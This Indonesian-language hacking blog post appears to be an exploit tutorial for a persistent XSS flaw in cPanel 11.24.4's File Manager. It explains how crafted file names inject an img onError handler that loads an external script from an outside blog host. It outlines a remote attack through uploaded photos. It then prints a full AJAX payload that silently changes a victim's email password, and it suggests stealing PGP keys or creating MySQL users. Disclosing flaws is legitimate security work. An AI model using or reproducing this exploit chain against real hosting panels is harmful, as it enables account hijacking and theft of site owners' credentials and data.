Cpanel adalah aplikasi pengelolaan hosting yang sangat vital karena dengan aplikasi ini seseorang bisa mengelola semua hal yang terkait dengan hosting antara lain website, email, kunci SSL dan PGP, mysql database, DNS, domain dan masih banyak lagi. Oleh karena itu sangat berbahaya bila account cpanel seseorang berhasil dibajak orang lain. Dalam artikel ini akan saya jelaskan salah satu serangan yang sangat berbahaya, yaitu XSS (Cross Site Scripting) pada File Manager Cpanel, serangan ini menyerang pengguna yang sedang login dalam cpanel, kemudian menjalankan script dengan hak yang sama dengan pemilik account cpanel. Vulnerability ini saya temukan di cpanel versi 11.24.4-CURRENT, diuji coba dengan browser Firefox 3.0.7.
CPanel File Manager
Cpanel terdiri dari berbagai macam aplikasi, salah satunya adalah file manager, yang berfungsi untuk mengelola file dalam account hosting. Dengan file manager, seorang pengguna bisa menghapus, membuat, mengedit file dalam file system.
File manager pada cpanel ada dua, yaitu “File Manager” dan “Legacy File Manager”. Perbedaan keduanya hanya pada soal tampilan saja. Legacy adalah versi dengan tampilan yang lebih sederhana dan tidak terlalu banyak menggunakan javascript. Namun dari sisi fungsi keduanya relatif sama, hanya ada penambahan fitur compress, ekstrak pada versi modernnya.
standard file manager
legacy file manager
Persistent XSS Attack by Crafting Malicious File Name
Kedua jenis file manager cpanel rentan terhadap serangan XSS. File manager cpanel tidak memfilter nama file yang ditampilkan di web sehingga attacker bisa menginjeksi script atau kode html dengan cara membuat file dengan nama yang mengandung kode html dan javascript.
Dilihat dari tingkat bahayanya, serangan pada Legacy File Manager lebih berbahaya karena hanya dengan melihat nama filenya saja malicious code yang dikirimkan attacker akan dieksekusi browser. Dalam file manager yang standard, cpanel berhasil memfilter karakter berbahaya dari nama file sehingga malicious code tidak dieksekusi dalam halaman daftar file. Namun, cpanel rupanya lupa untuk memfilter task delete, copy, move, code/html editor,compress, change permission. Agar malicious code attacker dieksekusi browser, korban harus memilih file tersebut dengan checkbox, kemudian melakukan salah satu diantara: delete,copy,move,edit,compress atau change permission.
Jadi jelas bahwa serangan xss ini lebih berbahaya pada Legacy File Manager, karena korban tidak perlu berbuat apa-apa lagi selain melihat daftar file dalam suatu folder. Oleh karena itu dalam artikel ini saya akan memfokuskan pembahasan pada serangan ke Legacy File Manager namun dengan exploit yang bisa bekerja di kedua jenis file manager.
Attacking Legacy File Manager (LFM)
Mari kita lihat bagaimana LGM menampilkan nama file dalam daftar file di web. Gambar di bawah ini menunjukkan bagaimana 2 file dalam suatu folder ditampilkan di web.
File list in legacy file manager
Ada dua file yang saya jadikan contoh di atas, yaitu:
src=notexist.jpg>
filenametestonly
Ada tiga hal yang bisa disimpulkan dari cara cpanel menampilkan nama file:
- Tiap nama file ditulis sebagai bagian dari URL pada query string dir=PATH&file=NAMAFILE. URL tersebut diapit oleh karakter double quote sehingga attacker harus menambahkan double quote . Kemudian harus diikuti juga dengan karakter > agar menutup tag sebelumnya dan tag selanjutnya dianggap tag yang terpisah.
- Bila nama file mengandung karakter double quote ("), maka akan diawali dengan backslash menjadi \". Ini akan menjadi masalah, sehingga attacker harus menghindari double quote dalam nama file agar serangannya berhasil. Double quote yang boleh dimasukkan hanya pada awal nama file seperti pada paragraf di atas.
- Tiap nama file akan ditampilkan sebanyak 3x. Ini tidak terlalu bermasalah, hanya fakta bahwa script yang diinjeksi attacker akan dieksekusi 3x oleh browser.
Batasan dalam pembuatan nama file oleh sistem operasi juga perlu diperhatikan. Contoh dalam artikel ini menggunakan cpanel di Linux sehingga batasan nama file yang dibolehkan mengikuti aturan Linux. Nama file di linux maksimum sepanjang 256 karakter. Karakter yang terlarang digunakan salah satunya adalah slash (/). Oleh karena itu attacker harus bisa membuat serangan dengan nama file tidak lebih dari 256 karakter dan tidak boleh mengandung karakter slash.
Attack using IMG tag to load external script
Karena batasan dari cpanel dan filesystem yang dijelaskan di atas, maka attacker harus membuat nama file seperti berikut ini:
- Panjang maksimum 256 karakter.
- Tidak mengandung karakter terlarang seperti slash dan double quote.
Karena tidak mungkin serangan yang efektif bisa dilancarkan bila hanya mengandalkan 256 karakter saja, attacker harus membuat browser me-load external script. Sayangnya penggunaan tag script tidak dimungkinkan karena tag ini menuntut digunakannya tag yang mengandung karakter slash.
Cara yang saya pakai agar browser mau meload script external adalah:
- Menginjeksi javascript dalam tag img
- Javascript dalam tag img melakukan document.write() yang isinya adalah tag script dengan atribut src dari url luar.
Saya memilih menggunakan tag IMG karena tag ini sifatnya tunggal, tidak perlu ditutup dengan tag . Bagaimana caranya tag img bisa mengeksekusi javascript?
Awalnya saya mencoba memasukkan javascript dalam atribut SRC, namun ternyata cara ini tidak berlaku di firefox. Kemudian saya coba letakkan script dalam atribut onError, yang artinya bila image dalam tag img ini gagal diload, maka script dalam atribut onError akan dieksekusi. Dengan cara ini maka agar script dalam onError selalu dieksekusi, maka saya harus membuat image selalu gagal diload. Itu mudah saya hanya perlu mengosongkan atribut SRC, sehingga img selalu gagal loading dan artinya script selalu dieksekusi. Cara ini berhasil di Firefox dan Internet Explorer, saya belum coba untuk browser lainnya.
Ada satu masalah lagi, yaitu bagaimana cara menghindari penggunaan karakter slash dalam menyebutkan URL? URL berisi script biasanya dalam bentuk http://evilsite.com/path/file.js, sehingga minimal mengandung 3 karakter slash. Nantinya url ini akan dimasukkan dalam atribut SRC dalam tag script.
Namun tag script tidak langsung dituliskan dalam nama file, melainkan ditulis oleh javascript dalam tag img dengan fungsi document.write(). Fungsi document.write meminta masukan berupa string, yang nantinya akan kita isi dengan tag script. Karena masukannya berupa string, maka saya bisa pakai fungsi String.fromCharCode() untuk menghasilkan string dari kode ASCII.
URL external berisi script yang akan saya injeksikan adalah: http://zeke-hack.blogspot.com/x.js . Sehingga script dalam tag img harus membuat tag berikut dengan fungsi document.write():
<script src="http://zeke-hack.blogspot.com/x.js">
</script>
Deretan angka pada fungi String.fromCharCode adalah kode ASCII dari
masing-masing karakter dari script tag yang akan meload external script.
Javascript tersebut harus dimasukkan ke dalam atribut onError dari tag
img. Jadi tag img yang akan dipakai untuk meload external javascript
adalah berikut ini:
Perhatikan bahwa tag img tersebut terlihat sebagai bagian dari atribut
href dari tag A sehingga browser tidak menganggap ada tag image. Agar
attacker bisa menginjeksi tag img dengan benar, maka tag A yang
melingkupi harus ditutup dulu. Cara menutupnya adalah dengan menambahkan
dua karakter: “>
Gambar di atas adalah penjelasan mengapa diperlukan double quote dan
> di awal. Dalam gambar diberikan 3 contoh, dari nama file yang
normal, kemudian nama file dengan tag img, dan terakhir diawali dengan
double quote dan greater than (“>). Nama file tanpa diawali “>
akan menjadi bagian dari atribut href dari tag A, namun bila diawali
dengan “> maka karakter sesudah 2 karakter itu sudah bukan bagian
dari tag A.
Jadi sesuai penjelasan di atas, nama file yang akan dijadikan serangan
harus diawali dengan “> sehingga nama file akhir yang harus dibuat
untuk melakukan serangan adalah:
Dalam gambar di atas saya menunjukkan cara membuat file dengan nama yang
mengandung tag img dari console Linux. Membuat file bisa juga dilakukan
dengan upload file bila di web tersebut memberikan kebebasan
penggunanya untuk upload misal untuk gambar profil atau album foto.
Setelah file yang namanya mengandung exploit xss dibuat, maka berikutnya
bila seseorang membuka cpanel dan melihat daftar file dalam folder
tempat exploit xss berada, maka script attacker akan dieksekusi browser,
secara otomatis, tanpa perlu pengguna berbuat sesuatu lagi.
Attacking (Standard) File Manager
Exploit yang saya jelaskan untuk LFM bisa juga dipakai untuk standard
file manager. Hanya saja bedanya script yang diinjeksi attacker hanya
bisa dieksekusi bila korban memilih file tersebut lalu melakukan:
delete,edit,rename,copy,move,compress,change permission. Bila korban
memakai standard file manager, kemungkinan code dieksekusi tidak sebesar
pada LFM. Exploit yang sama bila dilihat dengan standard file manager
seperti pada gambar berikut:
file list not vulnerable
Memang file list tidak vulnerable, namun bila korban memilih file
tersebut, kemudian memilih salah satu diantara:
delete,copy,move,rename,change permission,compress, maka script akan
dieksekusi seperti pada gambar berikut:
remote script executed
Remote Attack Scenario
Mungkin anda mengira serangan ini hanya bisa dilancarkan secara lokal,
setidaknya harus memiliki akses membuat file. Sebenarnya serangan ini
bisa dilancarkan secara remote. Salah satu skenario yang mungkin adalah:
Pada web dengan fitur album foto memungkinkan pengguna untuk upload
gambar. Attacker bisa melancarkan serangan ini secara remote dengan
upload file gambar dengan malicious file name, kemudian menunggu owner
website browsing dengan Cpanel File Manager. Ketika cpanel file manager
menampilkan file dengan malicious name ke browser owner…Boom! Ranjau
diinjak korban, script attacker akan dieksekusi.
Example Payload: Changing Victim Email Address
Setelah berhasil membuat browser mengeksekusi remote script, kini saya
bebas mengisi script dengan apa pun yang saya inginkan. Dalam artikel
ini saya akan memberi contoh script untuk mengubah password email korban
dengan menggunakan fungsi AJAX.
Form untuk mengubah password email tidak memerlukan current password,
pengguna hanya perlu memasukkan password baru saja. Oleh karena itu saya
bisa membuat script yang melakukan submit form tersebut. Script untuk
mengubah password email korban adalah:
var http_request = false;
function makePOSTRequest(url, parameters) {
http_request = false;
if (window.XMLHttpRequest) { // Mozilla, Safari,...
http_request = new XMLHttpRequest();
if (http_request.overrideMimeType) {
// set type accordingly to anticipated content type
//http_request.overrideMimeType('text/xml');
http_request.overrideMimeType('text/html');
}
} else if (window.ActiveXObject) { // IE
try {
http_request = new ActiveXObject("Msxml2.XMLHTTP");
} catch (e) {
try {
http_request = new ActiveXObject("Microsoft.XMLHTTP");
} catch (e) {}
}
}
if (!http_request) {
alert('Cannot create XMLHTTP instance');
return false;
}
http_request.onreadystatechange = alertContents;
http_request.open('POST', url, true);
http_request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http_request.setRequestHeader("Content-length", parameters.length);
http_request.setRequestHeader("Connection", "close");
http_request.send(parameters);
}
function alertContents() {
if (http_request.readyState == 4) {
if (http_request.status == 200) {
//alert(http_request.responseText);
result = http_request.responseText;
alert(result);
} else {
alert('There was a problem with the request.');
}
}
}
var poststr =
"quota=" + encodeURI("250") +
"&password2=" + encodeURI("newpassword") +
"&password=" + encodeURI("newpassword") +
"&email=" + encodeURI("testing") +
"&domain=" + encodeURI("ilmuhacking.com" );
makePOSTRequest('/frontend/x3/mail/dopasswdpop.html', poststr);
Script di atas melakukan POST request dengan fungsi AJAX, ke URL /frontend/x3/mail/dopasswdpop.html bersama dengan POST data: quota (dalam mega byte), password, password2, email dan domain.
Masih banyak payload lain yang bisa dibuat antara lain membuat user mysql baru, mencuri private key PGP dsb. Semua yang bisa dilakukan korban ketika login cpanel, bisa juga dilakukan dengan exploit script xss.
__________________________________________________________________
----Gunakanlah Tutorial Dengan Bijak----
Zeke hack {Trickster}
0 komentar:
Posting Komentar